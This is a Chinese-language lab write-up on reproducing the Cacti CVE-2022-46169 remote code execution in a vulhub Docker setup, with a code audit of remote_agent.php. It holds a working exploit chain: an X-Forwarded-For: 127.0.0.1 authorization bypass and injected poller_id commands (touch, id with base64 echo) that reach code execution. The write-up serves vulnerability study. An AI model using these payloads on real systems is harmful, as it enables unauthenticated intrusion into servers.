复现cacti的RCE
一.准备工作
1.安装doker
curl -fsSL https://get.docker.com | sh
验证docker是否正确安装和检验docker compose是否可用
docker version
docker compose version
2.克隆仓库
git clone https://github.com/vulhub/vulhub.git
proxychains git clone https://github.com/vulhub/vulhub.git
3.选择要使用的漏洞环境
cd vulhub/cacti/CVE-2022-46169
4.启动漏洞环境
5.通过浏览器访问漏洞应用程序
6.在docker容器中安装xdebug并启用扩展
pecl install xdebug-3.1.6
docker-php-ext-enable xdebug
7.随后重启容器并更改配置文件
docker restart <your-container>
vim /usr/local/etc/php/conf.d/docker-php-ext-xdebug.ini
添加如下内容
zend_extension=xdebug
xdebug.mode=debug
xdebug.start_with_request=yes
8.使用vscode连接容器并安装xdebug插件
二.代码审计
通过官方文档给出的信息来看,漏洞文件来自remote_agent.php
当远程客户端未授权时将会显示你没有权限并退出程序,那么就需要通过get传参请求进行绕过此if鉴权函数
if (!remote_client_authorized()) {print 'FATAL: You are not authorized to use this service';exit;}
get传参用户是可控的,通过观察以下代码可以猜出大概率是在 poll_for_data 函数中触发
switch (get_request_var('action')) {case 'polldata':// Only let realtime polling run for a short timeini_set('max_execution_time', read_config_option('script_timeout'));debug('Start: Poling Data for Realtime');poll_for_data();debug('End: Poling Data for Realtime');break;case 'runquery':debug('Start: Running Data Query');run_remote_data_query();debug('End: Running Data Query');break;case 'ping':debug('Start: Pinging Device');ping_device();debug('End: Pinging Device');break;case 'snmpget':debug('Start: Performing SNMP Get Request');get_snmp_data();debug('End: Performing SNMP Get Request');break;case 'snmpwalk':debug('Start: Performing SNMP Walk Request');get_snmp_data_walk();debug('End: Performing SNMP Walk Request');break;case 'graph_json':debug('Start: Performing Graph Request');get_graph_data();debug('End: Performing Graph Request');break;case 'discover':debug('Start:Performing Network Discovery Request');run_remote_discovery();debug('End:Performing Network Discovery Request');break;default:if (!api_plugin_hook_function('remote_agent', get_request_var('action'))) {debug('WARNING: Unknown Agent Request');print 'Unknown Agent Request';}
}
function get_request_var($name, $default = '') {global $_CACTI_REQUEST;$log_validation = read_config_option('log_validation');if (isset($_CACTI_REQUEST[$name])) {return $_CACTI_REQUEST[$name];} elseif (isset_request_var($name)) {if ($log_validation == 'on') {html_log_input_error($name);}set_request_var($name, $_REQUEST[$name]);return $_REQUEST[$name]; // 这种接法使用 GET POST COOKIE都行} else {return $default;}}
而在 poll_for_data();函数中,有三个请求
所以需要使用get传递三个参数
action=polldata&local_ids[0]=6&host_id=1&poller_id='touch+/tmp/success'因为发送没有回显,所以我需要使用创建文件的命令'touch+/tmp/success',查看文件是否创建成功
通过抓包我们可以获取该网站的流量,并添加X-Forwarded-For:127.0.0.1获取get_client_addr();客户端
随后我们在remote_client_authorized()函数中插入print_r(clientaddr);获取clientaddr的值是否为127.0.0.1和printr(client_addr);获取client_addr的值是否为127.0.0.1和print_r(clientaddr);获取clientaddr的值是否为127.0.0.1和printr(client_name);打印出client_name值是否为hostname并用exit;中断程序
发送后可以看到值完全符合
而在functions.php文件中有关于 get_client_addr函数
function get_client_addr($client_addr = false) {$http_addr_headers = array('X-Forwarded-For','X-Client-IP','X-Real-IP','X-ProxyUser-Ip','CF-Connecting-IP','True-Client-IP','HTTP_X_FORWARDED','HTTP_X_FORWARDED_FOR','HTTP_X_CLUSTER_CLIENT_IP','HTTP_FORWARDED_FOR','HTTP_FORWARDED','HTTP_CLIENT_IP','REMOTE_ADDR',);$client_addr = false;foreach ($http_addr_headers as $header) {if (!empty($_SERVER[$header])) {$header_ips = explode(',', $_SERVER[$header]);foreach ($header_ips as $header_ip) {if (!empty($header_ip)) {if (!filter_var($header_ip, FILTER_VALIDATE_IP)) {cacti_log('ERROR: Invalid remote client IP Address found in header (' . $header . ').', false, 'AUTH', POLLER_VERBOSITY_DEBUG);} else {$client_addr = $header_ip;cacti_log('DEBUG: Using remote client IP Address found in header (' . $header . '): ' . $client_addr . ' (' . $_SERVER[$header] . ')', false, 'AUTH', POLLER_VERBOSITY_DEBUG);break 2;}}}}}return $client_addr;
}
目前该函数中,client_addr为X-Forwarded-For走到foreach函数中进行循环,header即为X-Forwarded-For所以不为空跳到下一层循环,由于127.0.0.1为合法ip所以跳入else,将其赋值给$client_addr我们可以将其打印出来,这样更清晰的显示出来
跟预期一样,由此可知hostname就是localhost
$client_name = gethostbyaddr($client_addr);
print_r($client_name);exit;
if ($client_name == $client_addr) {cacti_log('NOTE: Unable to resolve hostname from address ' . $client_addr, false, 'WEBUI', POLLER_VERBOSITY_MEDIUM);
} else {$client_name = remote_agent_strip_domain($client_name);
}
由于$client_name不等于$client_addr也就是我们的localhost不等于127.0.0.1因此会跳入else,remote_agent_strip_domain这个过滤函数只过滤.因此localhost会正常返回,返回出来依然是localhost
$pollers = db_fetch_assoc(‘SELECT * FROM poller’, true, $poller_db_cnn_id);
if (cacti_sizeof($pollers)) {foreach($pollers as $poller) {if (remote_agent_strip_domain($poller['hostname']) == $client_name) {return true;} elseif ($poller['hostname'] == $client_addr) {return true;}}
}
$pollers里的hostname在数据库表中为localhost与$client_name的值localhost相等因此会返回true,至此if鉴权函数已经绕过
只要有success,代码即执行成功
action由于是get传参因此用户可控,当action=polldata才能触发case 'polldata’执行poll_for_data();代码
function poll_for_data()函数中传递了三个参数:
第一行代码传数组[0]=6数组只有一个元素6
第二行代码传参1
第三行代码传命令执行如touch+/tmp/success
function poll_for_data() {global $config;$local_data_ids = get_nfilter_request_var('local_data_ids');$host_id = get_filter_request_var('host_id');$poller_id = get_nfilter_request_var('poller_id');$return = array();print_r($local_data_ids);print_r($host_id);print_r($poller_id);exit;
开始遍历
$items = db_fetch_assoc_prepared('SELECT *FROM poller_itemWHERE host_id = ?AND local_data_id = ?',array($host_id, $local_data_id));
通过第一个if查询到数组为
local_data_id: 6poller_id: 1host_id: 1action: 2present: 1last_updated: 2025-07-25 06:10:01hostname: localhostsnmp_community: publicsnmp_version: 0snmp_username:snmp_password:snmp_auth_protocol:
snmp_priv_passphrase:snmp_priv_protocol:snmp_context:snmp_engine_id:snmp_port: 161snmp_timeout: 500rrd_name: uptimerrd_path: /var/www/html/rra/local_linux_machine_uptime_6.rrdrrd_num: 1rrd_step: 300rrd_next_step: 0arg1: /var/www/html/scripts/ss_hstats.php ss_hstats '1' uptimearg2:arg3:
第二次遍历
$script_server_calls = db_fetch_cell_prepared('SELECT COUNT(*)FROM poller_itemWHERE host_id = ?AND local_data_id = ?AND action = 2',array($host_id, $local_data_id));
将数组里的action取出,值为2。
由于POLLER_ACTION_SCRIPT_PHP值为2,因此将会匹配到case POLLER_ACTION_SCRIPT_PHP
进入到该case中进行第一个if函数
if (function_exists('proc_open')) {$cactiphp = proc_open(read_config_option('path_php_binary') . ' -q ' . $config['base_path'] . '/script_server.php realtime ' . $poller_id, $cactides, $pipes);$output = fgets($pipes[1], 1024);$using_proc_function = true;
} else {$using_proc_function = false;
}
通过该代码的read_config_option(‘path_php_binary’)取出php路径执行 /usr/local/bin/php -q script_server.php realtime touch /tmp/success
现在进行回显
function is_hexadecimal($result) {$hexstr = str_replace(array(' ', '-'), ':', trim($result));$parts = explode(':', $hexstr);foreach($parts as $part) {if (strlen($part) != 2) {return false;}if (ctype_xdigit($part) == false) {return false;}}return true;
}
执行以下三条命令任意一条,将其进行urlenode编码
|echo "test\r\n`id" | xxd -p -c 1|awk '{printf \"%s \", $0}'`";
|echo "test\r\n :`id | base64 -w0`";
|echo "test\r\n`id |base64 -w0|awk -v ORS=':' '{print $0}'`";
最后可以得到回显
进行base64解码
得到结果:
uid=33(www-data) gid=33(www-data) groups=33(www-data)